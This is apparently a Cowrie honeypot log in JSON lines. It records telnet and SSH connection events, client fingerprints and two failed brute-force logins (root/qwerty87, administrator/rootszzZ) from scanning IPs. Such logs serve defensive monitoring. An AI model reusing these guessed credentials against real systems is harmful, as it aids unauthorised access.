{"eventid":"cowrie.session.closed","duration":31.602245092391968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:36.886297Z","src_ip":"216.158.234.238","session":"0af21d9a265e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.71074914932251,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:38.334843Z","src_ip":"216.158.234.238","session":"128e15cc61e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.541563987731934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:38.350527Z","src_ip":"216.158.234.238","session":"04c5c858de3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":34932,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdc99c100aa9","protocol":"telnet","message":"New connection: 216.158.234.238:34932 (10.17.0.5:23) [session: bdc99c100aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:39.293056Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":34962,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf9503d6b7a9","protocol":"telnet","message":"New connection: 216.158.234.238:34962 (10.17.0.5:23) [session: cf9503d6b7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:39.339859Z"}
{"eventid":"cowrie.session.closed","duration":32.841742277145386,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:40.726340Z","src_ip":"216.158.234.238","session":"4d7f9cfb537e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.63561463356018,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:41.949698Z","src_ip":"216.158.234.238","session":"537773c0b0a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.45439338684082,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:42.134492Z","src_ip":"216.158.234.238","session":"8c83d9fcece6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.37235713005066,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:42.815981Z","src_ip":"216.158.234.238","session":"c60e0732dc0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.304290294647217,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:43.414362Z","src_ip":"216.158.234.238","session":"c2a16890df47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.50522017478943,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:43.747692Z","src_ip":"216.158.234.238","session":"1dbad126affd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.142.250.154","src_port":53986,"dst_ip":"10.17.0.5","dst_port":23,"session":"87ad81ae87dd","protocol":"telnet","message":"New connection: 98.142.250.154:53986 (10.17.0.5:23) [session: 87ad81ae87dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:44.040950Z"}
{"eventid":"cowrie.session.closed","duration":32.95314359664917,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:44.469570Z","src_ip":"216.158.234.238","session":"06dbf0a63740","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.699176788330078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:44.607234Z","src_ip":"216.158.234.238","session":"8d9667681add","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.805628061294556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:45.304593Z","src_ip":"216.158.234.238","session":"12165abd23ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.241952896118164,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:45.647454Z","src_ip":"216.158.234.238","session":"ddf2147e665e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.923888683319092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:45.868768Z","src_ip":"216.158.234.238","session":"bd4e723c2541","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":43364,"dst_ip":"10.17.0.5","dst_port":23,"session":"8235eb6b9077","protocol":"telnet","message":"New connection: 216.158.234.238:43364 (10.17.0.5:23) [session: 8235eb6b9077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:46.085366Z"}
{"eventid":"cowrie.session.closed","duration":34.64651155471802,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:46.471461Z","src_ip":"216.158.234.238","session":"bf73236329c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.08760118484497,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:46.488868Z","src_ip":"216.158.234.238","session":"2e9996ade27c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.971610069274902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:48.415716Z","src_ip":"216.158.234.238","session":"7a8e85e7936c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.66984987258911,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:49.752823Z","src_ip":"216.158.234.238","session":"c51b0fe80249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.08779501914978,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:50.227568Z","src_ip":"216.158.234.238","session":"dc20616566b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":48228,"dst_ip":"10.17.0.5","dst_port":23,"session":"358a803bbe8a","protocol":"telnet","message":"New connection: 216.158.234.238:48228 (10.17.0.5:23) [session: 358a803bbe8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:50.371038Z"}
{"eventid":"cowrie.session.closed","duration":32.295777320861816,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:50.864636Z","src_ip":"216.158.234.238","session":"1b1db01dc7b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":48966,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd4e39ab9601","protocol":"telnet","message":"New connection: 216.158.234.238:48966 (10.17.0.5:23) [session: fd4e39ab9601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:50.907889Z"}
{"eventid":"cowrie.session.closed","duration":30.897520780563354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:51.445666Z","src_ip":"216.158.234.238","session":"881be976f8fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.51292967796326,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:51.665992Z","src_ip":"216.158.234.238","session":"fd1f7c0241ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.35492444038391,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:52.780969Z","src_ip":"216.158.234.238","session":"2b6179d76cf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":53054,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a09c318010f","protocol":"telnet","message":"New connection: 216.158.234.238:53054 (10.17.0.5:23) [session: 6a09c318010f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:54.165883Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":55158,"dst_ip":"10.17.0.5","dst_port":23,"session":"05cde2b3e6f2","protocol":"telnet","message":"New connection: 216.158.234.238:55158 (10.17.0.5:23) [session: 05cde2b3e6f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:55.880690Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":55656,"dst_ip":"10.17.0.5","dst_port":23,"session":"c845d2d5a485","protocol":"telnet","message":"New connection: 216.158.234.238:55656 (10.17.0.5:23) [session: c845d2d5a485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:56.472304Z"}
{"eventid":"cowrie.session.closed","duration":30.969362020492554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:56.890163Z","src_ip":"216.158.234.238","session":"56bdf8f0fed2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":59196,"dst_ip":"10.17.0.5","dst_port":23,"session":"c28ee19e881d","protocol":"telnet","message":"New connection: 216.158.234.238:59196 (10.17.0.5:23) [session: c28ee19e881d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:59.368238Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":59384,"dst_ip":"10.17.0.5","dst_port":23,"session":"20f3ec5e5faa","protocol":"telnet","message":"New connection: 216.158.234.238:59384 (10.17.0.5:23) [session: 20f3ec5e5faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:59.568419Z"}
{"eventid":"cowrie.session.closed","duration":31.254395723342896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:00.912102Z","src_ip":"216.158.234.238","session":"7b3213fd2fcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46239709854126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:01.858365Z","src_ip":"216.158.234.238","session":"b38a32b084e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.86637020111084,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:03.160379Z","src_ip":"216.158.234.238","session":"e20b4fe775d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.86636662483215,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:03.544519Z","src_ip":"216.158.234.238","session":"c9ec8f645762","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.395724058151245,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:05.741972Z","src_ip":"216.158.234.238","session":"6fcc36987edc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.645756244659424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:05.907342Z","src_ip":"216.158.234.238","session":"5f77b8c8a560","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.833067893981934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:06.553097Z","src_ip":"216.158.234.238","session":"fb6a42c43621","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":59702,"dst_ip":"159.203.135.109","dst_port":22,"session":"51e8ca12dde4","protocol":"ssh","message":"New connection: 45.232.73.84:59702 (159.203.135.109:22) [session: 51e8ca12dde4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:11.379595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:11.388747Z","src_ip":"45.232.73.84","session":"51e8ca12dde4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:11.508943Z","src_ip":"45.232.73.84","session":"51e8ca12dde4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":44004,"dst_ip":"10.17.0.5","dst_port":23,"session":"39eea2c1ed00","protocol":"telnet","message":"New connection: 216.158.234.238:44004 (10.17.0.5:23) [session: 39eea2c1ed00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:11.778641Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":44318,"dst_ip":"10.17.0.5","dst_port":23,"session":"22d34f5cfaf5","protocol":"telnet","message":"New connection: 216.158.234.238:44318 (10.17.0.5:23) [session: 22d34f5cfaf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:11.937995Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty87","message":"login attempt [root/qwerty87] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:12.007676Z","src_ip":"45.232.73.84","session":"51e8ca12dde4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:13.136827Z","src_ip":"45.232.73.84","session":"51e8ca12dde4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.629106521606445,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:14.968929Z","src_ip":"216.158.234.238","session":"cf9503d6b7a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.003541469573975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:15.044366Z","src_ip":"98.142.250.154","session":"87ad81ae87dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":49560,"dst_ip":"10.17.0.5","dst_port":23,"session":"180d1702d5c4","protocol":"telnet","message":"New connection: 216.158.234.238:49560 (10.17.0.5:23) [session: 180d1702d5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:16.218598Z"}
{"eventid":"cowrie.session.closed","duration":36.98753309249878,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:16.280488Z","src_ip":"216.158.234.238","session":"bdc99c100aa9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59052,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8100b7417b8","protocol":"ssh","message":"New connection: 159.203.92.129:59052 (159.203.135.109:22) [session: d8100b7417b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:17.193594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:17.198983Z","src_ip":"159.203.92.129","session":"d8100b7417b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:17.204618Z","src_ip":"159.203.92.129","session":"d8100b7417b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"rootszzZ","message":"login attempt [administrator/rootszzZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:17.233670Z","src_ip":"159.203.92.129","session":"d8100b7417b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:18.242145Z","src_ip":"159.203.92.129","session":"d8100b7417b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.752676010131836,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:18.837930Z","src_ip":"216.158.234.238","session":"8235eb6b9077","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.953710079193115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:22.861470Z","src_ip":"216.158.234.238","session":"fd4e39ab9601","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":58330,"dst_ip":"10.17.0.5","dst_port":23,"session":"b675966877d8","protocol":"telnet","message":"New connection: 216.158.234.238:58330 (10.17.0.5:23) [session: b675966877d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:23.094337Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":59420,"dst_ip":"10.17.0.5","dst_port":23,"session":"da163c7bc51d","protocol":"telnet","message":"New connection: 216.158.234.238:59420 (10.17.0.5:23) [session: da163c7bc51d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:24.226978Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":59494,"dst_ip":"10.17.0.5","dst_port":23,"session":"32fddc7361d8","protocol":"telnet","message":"New connection: 216.158.234.238:59494 (10.17.0.5:23) [session: 32fddc7361d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:24.302555Z"}
{"eventid":"cowrie.session.closed","duration":34.47376465797424,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:24.844683Z","src_ip":"216.158.234.238","session":"358a803bbe8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.3618323802948,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:26.527621Z","src_ip":"216.158.234.238","session":"6a09c318010f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.29790115356445,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:28.178473Z","src_ip":"216.158.234.238","session":"05cde2b3e6f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.15244007110596,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:29.624521Z","src_ip":"216.158.234.238","session":"c845d2d5a485","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.829224586486816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:30.397563Z","src_ip":"216.158.234.238","session":"20f3ec5e5faa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.86551570892334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:31.233587Z","src_ip":"216.158.234.238","session":"c28ee19e881d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.213745832443237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:43.151613Z","src_ip":"216.158.234.238","session":"22d34f5cfaf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.9736545085907,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:44.752201Z","src_ip":"216.158.234.238","session":"39eea2c1ed00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.503159761428833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:47.721629Z","src_ip":"216.158.234.238","session":"180d1702d5c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08870792388916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:55.315568Z","src_ip":"216.158.234.238","session":"da163c7bc51d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.073439598083496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:55.375854Z","src_ip":"216.158.234.238","session":"32fddc7361d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.59878993034363,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:08:58.693036Z","src_ip":"216.158.234.238","session":"b675966877d8","protocol":"telnet"}
